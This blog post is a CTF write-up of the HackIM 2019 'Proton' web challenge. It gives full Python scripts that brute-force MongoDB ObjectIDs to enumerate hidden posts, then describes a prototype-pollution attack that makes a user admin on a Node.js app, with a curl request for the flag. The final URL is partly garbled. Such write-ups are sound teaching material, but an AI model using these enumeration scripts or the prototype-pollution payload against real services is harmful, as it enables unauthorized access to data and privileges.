[HackIM Nullcon CTF 2019] – Proton

Introduction:

I participated for 36 hours in NullCon’s 10th CTF known as HackIM 2019 as usual from ‘dcua‘, and completed 8 tasks and engaged with couple others. There will be bunch of other write-ups you can expect on this blog space. So keep looking 🙂 Without wasting time, let’s dive into Proton. I mean literally open your physics textbook.

Source code

Figure: Atom (Credits: Andrey Prokhorov, Getty Images)

Task Description:

Alice web site has been hacked and hackers removed the submit post option and posted some unwanted messages can you get them?

http://web6.ctf.nullcon.net:4545/

 

Writeup:

 

I. What’s going on

So, the task description implies that hackers have removed ‘POST’ method request option and also have posted some message on the website.

Opening the website, we see a text on the web-page which says Get some POSTS here /getPOST

Now, we have an end-point to investigate. After Navigating to /getPOST , the site gives a response with the following content

{"error":"id is missing (ex: /getPOST?id=5c51b9c9144f813f31a4c0e2)"}

We have some post ID given, an immediate thought is to make a request with id 1

http://web6.ctf.nullcon.net:4545/getPOST?id=1

The page sends an response such as

{"error":"Not found"}

Hence, such note is unavailable on the server. According to hacker instincts, the immediate step is to apply a single quote and see whether the server behaves erroneous or not.

http://web6.ctf.nullcon.net:4545/getPOST?id=1'

Query failed with error:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

Awesome, we have an SQL error, and that too displayed on response page. This is as lucky a researcher can get. Immediate, step is to appending more single quotes and see whether the behavior changes as, 2 single quotes would end up making valid SQL query and won’t result into error, whereas three single quotes after the parameter will break again. Basic school level knowledge here.

But, after even adding consecutive quotes, the error remained the same. That implies something was fishy, couple of my team-mates thought it was an SQL-injection but I was pretty sure this is a red-herring to waste time of players. I have also seen such concept applied in many CTF’s too. After the CTF, when I looked the source code, it was pretty evident as well.

 if(id.match("'")){
      if(id.match("--")){
        res.send("Wake up Neo... Follow The White Rabbit!")
        return
      }
   
       res.send("Query failed with error:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1")
      return
    }

Great ! So, I thought to choose a different route from here and assumed this should not be an Injection. I fiddled with the parameter a bit, and got a wonderful stack trace, you can reproduce it with [] in get parameters. But, it wasn’t too helpful. Although now, next I had to open the default post.

http://web6.ctf.nullcon.net:4545/getPOST?id=5c51b9c9144f813f31a4c0e2

Wake up Neo... Follow The White Rabbit!

Not bad, the post does exist. But now what ? If we read closely the description is it implicitly implied there must be a hidden post done by the attackers. Now, the goal is get that post. But, we don’t have any database injection. By looking the structure of the hex-id, I felt it was Mongodb’s ObjectID. I started digging the bug-tracker for mongoose and found couple of promising looking open bugs which exploited match.something.  I gave couple of it a shot, but no success.

 

II. Old CTF experience to the Rescue

Since last 3 years, I have been playing 80 something CTF events each year. Although, I have lowered significantly in 2019 by 90% of that number. But, those experience comes handy. I recalled an event ‘Angstrom CTF’ last year which had a challenge requiring ObjectID exploitation, and it is worthy to note I solved it during the time-frame of that event. I highly recommend to read someone’s write-up on that as I haven’t wrote about it.

Object ID is a 12 byte unique identifier which consists of:

  • 4 Byte for Timestamp
  • 3 Byte for Machine ID
  • 2 Byte for Process ID
  • 3 Byte for Counter ID

Generally, Machine ID and Process ID remains the same throughout. But, Counter ID and Timestamp can be incremented (or changed basically). With that knowledge, we dissect the already provided ObjectID and analyse.

 

5c51b9c9144f813f31a4c0e2

TimeStamp: 5c51b9c9
Machine ID: 144f81
Process ID: 3f31
Counter ID: a4c0e2

We analyze Counter ID further

Counter ID: a4c0e2

a4 c0 e2
      ^
      |
    Increment/Decrement

So, goal is the next posts adjacent to the given ObjectID may be  … e0, e1 to e3 e4 ….

Hence, we have a search space in mind. Now, we dissect the timestamp. Using an online tool gives an ISO Timestamp

2019-01-30T14:50:49.000Z

We are interesting in 3 fields : hh:mm:ss atleast for now. To get a correct post, we need to hit the correct time-stamp.

III. Devising a strategy

As I was working on it, admin’s released an hint ‘I can eat Mango in 60 seconds’.

60 seconds!!

I used the same online tool, added 60 seconds (14:51:49) and changed e2 to e3.

http://web6.ctf.nullcon.net:4545/getPOST?id=5c51ba05144f813f31a4c0e3

You choose the red pill. Morpheus believes in you.

Great, plan worked. Now, I kept changing manually from e3 -> e4 -> e5 and so on along with 60 seconds interval.

All went great until e5 , but e6 failed

5c51ba7d144f813f31a4c0e5 <--> 2019-01-30T14:53:49.000Z

5c51bab9144f813f31a4c0e6 <--> 2019-01-30T14:54:49.000Z

So, it was clear they didn’t followed the Standard 60 seconds interval. But I got couple of post like ‘Did you forget the training!. Move Faster, Neo.’ and ‘Enumeration is Fun, isn’t it. But trust me you are not there yet :(‘

I used the next manual strategy to go descending order from e2 -> e1 -> e0 and so forth with exact 60 seconds time interval, it gave me post with contents ‘I told you you follow the White Rabbit.’ and ‘Did you actually come back ?? Go Away!’ . And nothing.

Questions I had in mind:

  • Do I need to brute-force all the time seconds ?
  • If yes, the search space will increase a lot by going upwards and downwards, will server accept brute-forcing?
  • Where is my damn flag post?

So, I had a clear plan to implement a brute-force script which goes forward and back-word and keeps changing the time-stamp second by second.

IV. Script || GTFO

The online site doesn’t work now, as we need to automate it (Although I could have checked if they had some sort of API) but rather than that I researched into peeking the documentations of bson. I found pretty handy functions which enables me automate it and here is the version 1. (Just as you guessed, pretty hacky considering CTF time constraint and overhead to 20 challenges on me)

For folks who wanna wget it

from bson import ObjectId
import datetime
import requests

api = "http://web6.ctf.nullcon.net:4545/getPOST?id="
r =requests.session()
given="5c51b9c9144f813f31a4c0e2"
timestamp = given[0:8]
static = given[8:]
change = static[-2:]
static_again = static[:-2]

# Only going upwords as of now
idz = ['e2','e3','e4','e5','e6','e7','e8','e9','ea','eb','ec','ed','ee','ef']

hr = 14
minz = 50
sec = 47
counter=0

for i in xrange(0,10000):
    if sec%60 == 0:
        sec=0
        minz+=1
    if minz%60 and sec%60 == 0:
        minz=0
        hr+=1
    gen_time = gen_time=datetime.datetime(2019, 1, 30, hr, minz, sec)
    print gen_time
    dummy = ObjectId.from_datetime(gen_time)
    new_ts = str(dummy)[0:8]
    final = new_ts+static_again+idz[counter]
    r1 = r.get(api+final)
    if 'error' in r1.text:
        print "nope"
        sec=sec+1
        continue
    else:
        sec=sec+1
        print "[+] Found Note at"+final
        print r1.text
        counter=counter+1

I ran it for Half and Hour and I got couple of Interesting post (including fake flags), After I reached 16:00:00, It was time to tweak it to enable it work downwards.

Wake up Neo... Follow The White Rabbit!

You choose the red pill. Morpheus believes in you.

Did you forget the training!. Move Faster, Neo...

Enumeration is Fun, isn't it. But ``trust`` me you are not there yet 😦 

The Matrix has You. Congrats Flag-> eW91IGFyZSBzdWJqZWN0ZWQgdG8gZGVlcCB0cm9sbGluZw==

Hmm, you were persistent enjoy this song-> https://www.youtube.com/watch?v=zaSZE194D4I

For downward, I started with ‘df’ post bruteforcing as ‘e0’, ‘e1’ I had it before. This was an educated guess as I could have easily then tweaked script to so-forth<-de<-dd

Also, I changed start time to 45. and didn’t worked on other logic as I wanted to do it quick as possible. Just to be sure I hit my df somewhere from 45 to 50 minutes slot. Again, a pretty CTF style hacky solution. No optimization.

from bson import ObjectId
import datetime
import requests

api = "http://web6.ctf.nullcon.net:4545/getPOST?id="
r =requests.session()
given="5c51b9c9144f813f31a4c0e2"
timestamp = given[0:8]
static = given[8:]
change = static[-2:]
static_again = static[:-2]

# Only going downwards as of now
idz = ['df','e0','e1','e2']


hr = 14
minz = 45
sec = 01
counter=0

for i in xrange(0,10000):
    if sec%60 == 0:
        sec=0
        minz+=1
    gen_time = gen_time=datetime.datetime(2019, 1, 30, hr, minz, sec)
    print gen_time
    dummy = ObjectId.from_datetime(gen_time)
    new_ts = str(dummy)[0:8]
    final = new_ts+static_again+idz[counter]
    r1 = r.get(api+final)
    print final
    if 'error' in r1.text:
        print "nope"
        sec=sec+1
        continue
    else:
        sec=sec+1
        print "[+] Found Note at"+final
        print r1.text
        counter=counter+1

 

Luckily, it worked and I got a post

Shit MR Anderson and his agents are here. Hurryup!. Pickup the landline phone to exit back to matrix! – /4f34685f64ec9b82ea014bda3274b0df/

 

V. Stage-2

You made it to the stage-2. After navigating to the follow directory, we saw a  source code disclosure.

Basically,

  • Asks user to signup with their name in POST body
  • Parses the JSON
  • Use clone operation which uses merge()
  • Sets cookie with name
  • Query the /getFlag
  • Checks cookie exist with name
  • Checks if admin is really an admin (admin.admin==1)
  • Sends out flag

The big question how we change the property of admin variable (or how to we add)

VI. Proton? You mean Prototype Pollution

This attack had made noise in Security community and if you look Hackerone’s NodeJS third party modules report. Most of them are buggy to Prototype Pollution.

A textbook resource can be utilized to understand it as this is not prototype pollution 101. They have a video too! Although, I did that stuff before 8-9 months. We also had a challenge in our HackIT 2018 CTF which utilized Prototype Pollution created by my colleague chmod . Now, couple of us are looking into second phase at this point.

I tried to reproduce the exploit on local NodeJS by setting up Object.prototype to {“admin”:1}

To bypass name check, we have to supply valid JSON body along with proto , there are multiple ways of achieving this but let’s not complicate it

 

 

So, assume you next create , var lol  = {} then lol.admin attribute / property will be 1 too. This is the magic of this attack.

VII. Debugging

Immediately, I fired my payload in ‘Repeater’ Burp Suite and accessed the getFlag later

 

I accessed the /getFlag and bummer ‘You are not Authorized’. Why did it not work, if it worked locally then was the question. Me and couple of colleagues who were debugging on live node instance were annoyed and frustrated for about 30 minutes. We checked our exploit multiple time, but did not worked.

VIII. Unicode Magic

Now, my colleague pointed out, there may be possibility of the attribute not being ASCII at all. It struck me like a bolt. And then I did,

Figure: Getting outplayed by the creators

 

So, the other admin after dot is something else like Unicode char-point. Well, I copied-pasted from the challenge source code whole string and pasted in Burp Repeater but Burp Repeater became sour seeing Unicode in string and exploit failed yet another time.

Good ol’ curl to the rescue. I like Unicode personally, and I didn’t wanted to be harsh with them by using Burp and GUI. I thought of using curl and place the unicode directly on the terminal. Terminal loves it, keeps intact.

Figure: Building final exploit

Now, it should set the correct prototype. I queried the last step

curl -vvv http://web6.ctf.nullconc9b82ea014bda3274b0df/getFlag -H 'Cookie: knapstack'

hackim19{Prototype_for_the_win}

Game over! First Blooded. On to the next challenge.

XI. End-Notes

Very cool Multi-Staged task. It was more of bug-bounty style exploitation where enumeration / brute-forcing is quite important at times. I would like to extend my thanks to the creators who put it up.

X. Contact

Follow me on Twitter if want to ask something or shoot a comment.

One thought on “[HackIM Nullcon CTF 2019] – Proton

Leave a comment